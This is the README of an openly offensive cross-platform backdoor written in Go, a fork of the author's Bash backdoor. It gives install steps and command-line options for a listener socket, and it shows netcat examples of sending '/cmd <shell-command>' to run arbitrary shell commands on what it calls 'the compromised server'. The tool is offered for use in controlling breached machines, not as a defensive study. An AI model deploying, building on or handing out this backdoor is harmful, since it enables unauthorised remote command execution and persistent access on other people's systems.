Backdoor with Golang (Cross-Plateform)
_/!\ Work in progress, not a stable release /!_
##Main goal
A fork of my own project named : "pilebones/backdoorBash" (see: https://github.com/pilebones/backdoorBash) but instead of using Bash as programming language (Unix-like only) this new one will work on Windows too by using a Golang API (cross-plateform) developed from scratch (as much as possible).
- Golang SDK : Compiler and tools for the Go programming language from Google (see: https://golang.org/doc/install)
From Arch Linux :
(sudo) pacman -S community/go
From Debian :
(sudo) apt-get install golang-go
cd $GOPATH
go get github.com/pilebones/backdoorGolang
./bin/backdoorGolang --help
./bin/backdoorGolang --help
Usage of ./bin/backdoorGolang:
-d, --debug Enable mode debug
-h, --host string Set hostname to use (default "localhost")
-l, --listen Enable listen mode (server socket mode)
-p, --port int Set port number to use (default 9876)
-v, --verbose Enable mode verbose
-V, --version Display version number
./bin/backdoorGolang -h localhost -p 1234 -l
Notice : Server is multi-user capable (one server for X client)
/!\ Not implemented yet, use netcat meanwhile !
netcat localhost 1234
Each message submit by client is sent to all backdoor's clients like a chat. However, an alone chat's feature is useless, there are a set of instructions allowed by all clients which have different behavior for taking advantage of the compromised server.
This instruction permit to logout the current user
/quit
/exit
Example :
echo "/quit"|netcat localhost 1234
This instruction permit to execute shell command from server. (OS supported : Linux, Windows)
/cmd <shell-command>
Example :
echo "/cmd ls -l"|netcat localhost 1234